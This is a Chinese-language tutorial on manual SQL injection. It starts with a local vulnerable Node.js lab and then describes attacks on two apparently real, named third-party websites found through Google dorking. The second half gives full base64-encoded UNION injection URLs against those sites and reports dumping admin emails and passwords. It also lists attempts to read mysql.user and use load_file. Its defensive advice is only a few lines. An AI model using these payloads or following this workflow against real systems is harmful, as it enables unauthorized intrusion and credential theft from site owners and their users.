手动SQL注入原理分析与实践

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了解SQL注入

定义

SQL注入攻击（SQL Injection），简称注入攻击，是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息，或者利用数据库的特性执行添加用户，导出文件等一系列恶意操作，甚至有可能获取数据库乃至系统用户最高权限。

原理

造成SQL注入的原因是因为程序没有有效过滤用户的输入，使攻击者成功的向服务器提交恶意的SQL查询代码，程序在接收后错误的将攻击者的输入作为查询语句的一部分执行，导致原始的查询逻辑被改变，额外的执行了攻击者精心构造的恶意代码。
从本质上来说，SQL注入和XSS注入很相似，都是因为没有做好对用户的输入控制而导致的错误。

环境准备

• 安装PostgresSQL 和 Mysql:

sudo apt-get update
sudo apt-get install postgresql pgadmin3
sudo pg_createcluster -p 5432 -u postgres 9.3 virusTest --start
sudo netstat -aWn --programs | grep postgres

• 安装Mysql

sudo apt-get update
sudo apt-get install mysql-server

• 创建数据库

sudo su
su postgres
psql
create database virustest

• 在Ubuntu上安装NodeJs

wget -t https://nodejs.org/dist/v6.9.1/node-v6.9.1-linux-x64.tar.xz
tar -xf node-v6.9.1-linux-x64.tar.xz
cd node-v6.9.1-linux-x64.tar.xz/bin
ln -s *****  /usr/local/bin/node
ln -s *****  /usr/local/bin/npm

经典注入：' or 1=1

准备工作

• 编写models/index.js、models/migrate.js、models/User.js创建如下图所示的User表：

User表

account	password
test0	1234560
test1	1234561
test2	1234562

• 执行node models/migrate初始化数据库
• 编写 first/index.js 定义简单的服务器
• 编写 views/index.html 定义简单的登录页面
• 安装所有依赖npm install

实践

数据库初始化完成后，我们来开心的模拟一次经典的登录注入操作 ：使用' or 1=1#绕过用户名和密码验证直接登录。

• 启动服务器 node first/index.js，访问http://localhost:5000/看到如下网页
  

  
  
  

• 输入 account : test0, password : 1234560，可以发现登录成功

• 输入 account : test0, password : wrongPassword，可以发现登录失败

• 输入 account : ' or 1=1# , password : test，可以发现登录成功！！！

我们来看看后台代码中对用户输入的用户名和密码进行验证的的SQL语句：

`select * from Users where account ='${account}' and password='${password}'`

我们将account：' or 1=1#，password：test 的值带入，这条语句变成了：

select * from users where account = '' or 1=1 #' and password='test'

可以看到：

• SQL的Where子句就变成了永真，因为account='' or 1 = 1永远成立。
• #后面的语句全部变成了注释（mysql可以用#号来注释代码），不会影响代码正确运行，服务器不会返回500。

这个注入能够成功的原因就在于——灵活使用'字符和#字符。

Union子句的妙用

准备工作

• 编写models/Article和models/migrate.js定义如下图所示的Articles表：
  
  
  
  
• 执行node models/migrate初始化数据库
• 编写路由代码：

router.get("/article",function *(){
    var ctx = this;
    var query = ctx.request.query;
    var articleId = query.id || 1;
    debug("SQL",`select * from Articles where id = ${articleId}`);
    var data = yield db.query(`select * from Articles where id = ${articleId}`,{
        type: db.QueryTypes.SELECT
    });
    data = data.length !== 0 ? data[data.length - 1] : {
        title : "没有这个文章",
        content :"<p>没有这个文章</p>"
    };
    // debug(data);
    yield ctx.render("index.html", data);
})

此路由函数会先接收GET参数传来的id，使用SQL对id进行查询，将查询到的数据渲染到html返回给浏览器端。

实践

• 启动服务器 node first/index.js，访问http://localhost:3030/article?id=1，可以看到如下图所示的界面：
  
  
  
  
• 访问 http://localhost:3030/article？id=3/*ABC*/，可以发现返回的页面没有变化，这说明后台对输入没有过滤，这里是可以注入的。
• 确认页面可以注入后，访问http://localhost:3030/article?id=3 and 1=2，可以发现页面显示没有文章，因为1=2的判断导致SQL的Where子句永远为false，所以没有文章返回。
  
  
  
  
• 使用union子句得到当前文章所在表的列数，从1开始测，依次访问以下网址

http://localhost:3030/article?id=3 and 1=1 union select 1
http://localhost:3030/article?id=3 and 1=1 union select 1,2  
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3  
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4  
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5  

前四步都显示：

这是因为union两头连接的表的字段数不一致，所以SQL语句执行结果是错误的。而访问 http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5成功，这是因为Articles表的列数就是5，访问这样的网址，后台实际执行的SQL语句及其结果如下图所示：

• 访问http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5，我们发现页面展示的还是id=3的文章，查看路由处理的代码：
  
  
  
  
  
  可以发现，默认返回的是第一条数据，所以我们加一个order by id DESC就可以看到别的数据了：

http://localhost:3030/article?id=3 and 1=1 union select 10000,2,3,4,5 order by id DESC  

访问上述网址，后台执行的SQL语句及其结果如下图所示

所以页面的返回结果是：

我们可以看到我们传给后端的2，3分别在这里被展示在了页面上。

• 首先，我们要知道数据库的版本和数据表的名称，访问以下网址：

http://localhost:3030/article?id=3 and 1=1 union select 10000,version(),database(),4,5 order by id DESC  

我们就可以看到数据库的版本和数据表的名称：

这里记下virustest这个数据库的名称。

• 知道了数据库的名称后，尝试得到我们所需要的表的名称，将访问的网址改成：

http://localhost:3030/article?id=3 and 1=1 union select 10000,2,TABLE_NAME,4,5 FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=virustest order by rand() DESC  

其中的order by rand()可以帮助我们随机地看到数据库中有哪些表，我们多访问几次，就可以看到有一个Users表：

这个Users表就非常有用，我们来继续注入，尝试着拿到用户名和密码。

• 知道了数据表的名称后，就可以尝试着得到表中列的名称，将访问网址改成：

http://localhost:3030/article?id=3 and 1=1 union SELECT 10000,COLUMN_NAME,3,4,5 FROM information_schema.columns where TABLE_SCHEMA='virustest' and TABLE_NAME='Users' order by rand()

由于有order by rand()，多访问几次，我们就可以陆续看到所有的列名，有两个字段我们比较感兴趣：

记住“account”字段和“password”字段

• 知道了数据表的列名后，就可以开始拖库了，访问以下网址：

http://localhost:3030/article?id=3 and 1=1 union select 1,account,password,4,5 from Users order by rand() DESC

访问结果如下图所示：

不断访问这个网址，就可以陆续看到数据库中的所有用户名和密码。

实战

搜索引擎的使用

使用Google搜索inurl:.php?id=MTM=，这里inurl指的是在url内有后面字符串的网站，后面的id=MTM=是指base64加密后的id=13，表明网站对URL进行了base64处理。Google查询出来结果如下：

我自己经过删选测试，选取了两个网站：

• http://www.comresearch.org/serviceDetails.php?id=MTMgYW5kIDE9MSB1bmlvbiBzZWxlY3QgMSx2ZXJzaW9uKCksZGF0YWJhc2UoKSw0LDUsNiw3LDgsOSwxMCwxMSwxMiwxMywxNCwxNQ==
• http://www.zaaffran.com/testimonials.php?id=MTM= 一家印度餐厅主页

本次就对这两个网站进行破解，先回顾一下我们上次自己研究的几个破解步骤：

• 测试能否被注入
• 通过union测表段数目
• 通过mysql函数得到数据库的名称
• 通过INFORMATION_SCHEMA查询表的名称和表内行的名称
• 获取想要的数据

我们借助http://www1.tc711.com/tool/BASE64.htm这个base64工具进行base64加解密

第一个网站的SQL注入

• 测试是否能被注入，访问http://www.comresearch.org/serviceDetails.php?id=MTMgYW5kIDE9Mg==，base64串的含义是id=13 and 1=2，返回的结果如下图，表明是此网站可以注入的
  
  
  
  
• 通过union测表的列数，我们从1到30挨个测，最后测试出来表的列数是15，访问http://www.comresearch.org/serviceDetails.php?id=MTMgYW5kIDE9MSB1bmlvbiBzZWxlY3QgMSwyLDMsNCw1LDYsNyw4LDksMTAsMTEsMTIsMTMsMTQsMTU=，base64串的含义是id=13 and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15，结果如下图所示，可以看到有页面有九个显示位，显示位很多，就不需要concat()函数将多条数据拼接到一起了
  
  
  
  
• 通过mysql函数得到数据库的名称，访问http://www.comresearch.org/serviceDetails.php?id=MTMgYW5kIDE9MSB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLDMsNCw1LDYsNyw4LDksMTAsdmVyc2lvbigpLDEyLDEzLDE0LDE1，base64串的含义是id=13 and 1=1 union select 1,database(),3,4,5,6,7,8,9,10,version(),12,13,14,15，我们可以看到如下图的结果，表明数据库的名称是csearch，版本是4.0.25
  
  
  
  
• 通过INFORMATION_SCHEMA查询表的名称和表内行的名称，访问http://www.comresearch.org/serviceDetails.php?id=MTMgYW5kIDE9MSB1bmlvbiBzZWxlY3QgMSwyLDMsdGFibGVfbmFtZSw1LDYsNyw4LDksMTAsMTEsMTIsMTMsMTQsMTUgZnJvbSBpbmZvcm1hdGlvbl9zaGNlbWEg，base64串的含义是id=13 and 1=1 union select 1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15 from information_shcema，结果竟然是没有权限！！！
  
  
  
  
  
  进行到这里，发现这个数据库用户没有足够的权限，我决定放弃，盲注猜表名和错误回显法的耗时较长，同时这个网站应该主要是用来搜索，我尝试了没有找到users表和admins表就放弃了。

第二个网站的SQL注入

• 测试能否被注入，访问http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9Mg==，base64串的含义是id=13 and 1=2，结果如下，可以发现页面没有显示，证明是可以注入的
  

  
  
  

• 通过union测表的列数，从1到30挨个测试，最后得知列数是7，访问http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLDMsNCw1LDYsNw==，结果如下图所示，可以看到有三个显示位
  

  
  
  

• 通过mysql函数得到数据库的名称，访问http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLHZlcnNpb24oKSw0LDUsNiw3，base64串的含义是id=14 and 1=2 union select 1,database(),version(),4,5,6,7，访问结果如下图，得到数据库的名称是zaaffran_zaaffran，数据库版本是5.5.2
  

  
  
  

• 通过INFORMATION_SCHEMA查询表的名称和表内行的名称,访问http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLHRhYmxlX25hbWUsNCw1LDYsNyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXM=，base64串的含义是id=14 and 1=2 union select 1,2,table_name,4,5,6,7 from information_schema.tables，可以看到五个数据表：
  

  
  
  

• 由于这里只显示了五张表，而且都是系统自带的表，对我来说没有什么用处，于是尝试了使用order by table_type，访问http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLHRhYmxlX25hbWUsNCw1LDYsNyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgb3JkZXIgYnkgdGFibGVfdHlwZQ==，base64串的含义是id=14 and 1=2 union select 1,2,table_name,4,5,6,7 from information_schema.tables order by table_type
  

  
  
  
  
  可以发现网页报错，我判断系统后面加入了limit 5这个子句，由于SQL语法不允许order by子句在limit子句前面，所以网站发生了错误。

• 访问http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLHRhYmxlX25hbWUsNCw1LDYsNyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgb3JkZXIgYnkgMSM=，base64串含义是id=14 and 1=2 union select 1,2,table_name,4,5,6,7 from information_schema.tables order by 1#，这次显示结果如下，成功了！
  

  
  
  

• 同时我们搜索到了adminusers表这个敏感的表，我决定对这个表进行查询，访问http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLGNvbHVtbl9uYW1lLDQsNSw2LDcgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSdhZG1pbnVzZXJzJyBvcmRlciBieSAxIw==，base64含义是14 and 1=2 union select 1,2,column_name,4,5,6,7 from information_schema.columns where table_name='adminusers' order by 1#，可以看到如下图所有的表段
  

  
  
  

• 获取想要的数据,访问http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLFVzZXJFbWFpbCxVc2VyUGFzc3dvcmQsNSw2LDcgZnJvbSBhZG1pbnVzZXJzIw==，base64串含义是14 and 1=2 union select 1,2,UserEmail,UserPassword,5,6,7 from adminusers#,可以看到adminusers表里面的所有数据
  

  
  
  

总结

我们进行了两次对互联网网站的SQL注入，第一次不是很成功，第三次好歹是拿到数据了，尝试了一下扩大战果，select user,password from mysql.user，失败= - =，估计是没有权限。select hex(load_file())的方法也是失败，毕竟mysql版本是5.5，安全级别较高，想要load_file()还是很难的。

通过以上的实践，我们可以总结出一些防范SQL注入的方法：

• 限制权限，单独搞一个数据库和用户暴露给外界，把查询的范围和权限限制死，你就算可以注入也然并卵，数据没有用啊！
• 直接过滤掉union或者select，不允许传的参数里面带有这个（360的做法）

在Restful API的时代，开发者在开发一个项目的时经常用到类似于id=?或者title=?这样的GET参数查询，后端通信可能会有很多这样的漏洞，而这样的漏洞造成的后果往往是灾难性的。开发者尤其是后端开发者一定要注意哦！